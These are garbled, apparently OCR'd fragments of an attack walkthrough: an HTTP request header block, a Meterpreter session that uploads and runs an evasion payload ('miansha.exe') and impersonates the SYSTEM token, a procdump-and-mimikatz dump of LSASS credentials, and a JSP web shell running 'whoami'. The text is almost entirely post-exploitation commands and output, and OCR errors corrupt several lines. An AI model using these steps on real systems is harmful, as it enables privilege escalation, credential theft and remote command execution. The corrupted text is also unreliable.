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Host: 8090

Content-Length: 0

Accept: application/json, text/plaim, */*

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10 _14_6)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80

Safari/537.36

origin: htep:// 2190

Referer: http:// %0/

Accept-Encoding: gzip, deflate

Accept=Language: zh=CN,zh;q=0.9

Connection: close
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meterpreter > getprivs

Enabled Process Privileges

SeAssignPrimaryTokenPrivilege

meterpreter > upload /root/miansha.exe C:\Users\Publji
meterpreter > cd C:\\Users\\Public

meterpreter > use incognito

meterpreter > list_tokens -u

NT AUTHORITY\IUSR

meterpreter > execute -cH -f ./miansha.exe
meterpreter > list_tokens -u

NT AUTHORITY\IUSR

NT AUTHORITY\SYSTEM

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM'
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
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procdump.exe -accepteula -ma lsass.exe lsass.dmp
"o "sekurlsa: :minidump .\1

mimi.exe ""privilege: :debug
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<« C A Not secure | 10 181:8080/cmd/cmd_jsp?cmd =whoami
Commands with JSP
Send

Command: whoami

root
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